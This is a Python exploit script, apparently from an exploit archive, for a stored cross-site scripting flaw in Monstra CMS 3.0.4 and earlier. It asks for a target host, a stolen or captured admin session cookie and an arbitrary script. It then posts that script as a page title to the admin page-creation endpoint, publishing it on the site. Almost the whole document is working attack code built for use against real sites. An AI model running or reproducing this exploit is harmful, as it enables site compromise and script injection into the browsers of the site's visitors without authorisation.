Monstra CMS < 3.0.4 - Cross-Site Scripting Exploit

# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
# Author: DEEPIN2
# Software: Monstra CMS
# Version: 3.0.4 and earlier
# This automation code requires Python3
# You must intercept the first request through the proxy tool to verify the CSRF token.
 
import requests
import re
 
def runXSS(target, cookie, data):
    exploit = requests.post(target, cookies=cookie, data=data).text
    if re.search('exploit', exploit):
        return 'OK'
    else:
        return 'ERROR'
     
if __name__ == '__main__':
    print('''  ______     _______     ____   ___  _  ___        _  ___  _ _  ___
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / |/ _ \/ / |( _ )
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|\___/|_|_|\___/
    [*] Author : DEEPIN2(Junseo Lee)
---------------------------------------------------------------------''')
    print('[*] Ex) http://www.target.com -> www.target.com')
    url = input('Target : ')
    print('[*] Required admin\'s PHPSESSID.')
    PHPSESSID = input('PHPSESSID : ')
    pagename = input('Pagename : ')
    script = input('Script : ')
    target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
    cookie = {'PHPSESSID':PHPSESSID}
    data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
            'page_title':script,\
            'page_name':pagename,\
            'page_meta_title':'',\
            'page_keywords':'',\
            'page_description':'',\
            'pages':0,\
            'templates':'index',\
            'status':'published',\
            'access':'public',\
            'editor':'',\
            'page_tags':'',\
            'add_page_and_exit':'Save+and+Exit',\
            'page_date':'9999-99-99'}
 
    result = runXSS(target, cookie, data)
    print('-' * 69)
    if result == 'OK':
        print('[+] LINK : http://' + url + '/' + pagename)
    else:
        print('[-] Error')

#  0day.today [2018-06-08]  #